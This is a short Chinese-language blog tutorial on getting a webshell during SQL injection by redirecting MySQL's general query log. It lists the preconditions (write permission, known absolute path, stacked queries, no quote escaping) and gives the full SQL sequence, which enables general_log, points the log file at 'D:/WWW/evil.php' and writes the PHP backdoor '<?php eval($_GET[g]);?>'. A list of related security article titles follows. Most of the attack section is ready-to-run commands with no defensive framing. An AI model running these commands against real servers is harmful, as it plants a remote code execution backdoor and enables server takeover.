WEB安全--SQL注入--利用log写入webshell

一、原理:

这也是对之前文章的补充:WEB安全--SQL注入--INTO OUTFILE-CSDN博客

我们可以通过修改MySQL的log文件,用select关键字写入木马文件放在服务器物理地址中,通过访问物理地址getshell。

二、条件:

用户有写入权限

需要知道物理路径(绝对路径)

需要能执行多行SQL语句

关闭对单引号的转义(GPC)

三、利用方式:

sql 复制代码
show variables like '%general%';            	 # 查看配置
 
set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
 
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
 
select '<?php eval($_GET[g]);?>'             	 # 写入shell
 
set global general_log=off;                  	 # 关闭general log模式
相关推荐
sky北城9 分钟前
DVWA靶场保姆级通关教程--03CSRF跨站请求伪造
linux·web安全·网络安全
可喜~可乐1 小时前
SQLite数据类型
数据库·sql·sqlite·c#
学也不会1 小时前
d202552-sql
数据库·sql
Blossom.1187 小时前
机器学习在网络安全中的应用:守护数字世界的防线
人工智能·深度学习·神经网络·安全·web安全·机器学习·计算机视觉
计算机毕设定制辅导-无忧学长8 小时前
ActiveMQ 安全机制与企业级实践(一)
安全·activemq
一颗星星辰8 小时前
网络安全专题 | 第十章 | 防火墙基础配置 | 安全策略
服务器·网络·web安全
IT成长日记10 小时前
【Hive入门】Hive安全管理与权限控制:审计日志全解析,构建完善的操作追踪体系
hive·hadoop·安全·审计日志
夜风Sec14 小时前
【挖洞利器】Goby&Awvs&解放双手
安全
柴郡猫^O^14 小时前
OSCP - Proving Grounds - NoName
安全·网络安全·安全性测试
极小狐14 小时前
极狐Gitlab 里程碑功能介绍
运维·数据库·安全·c#·gitlab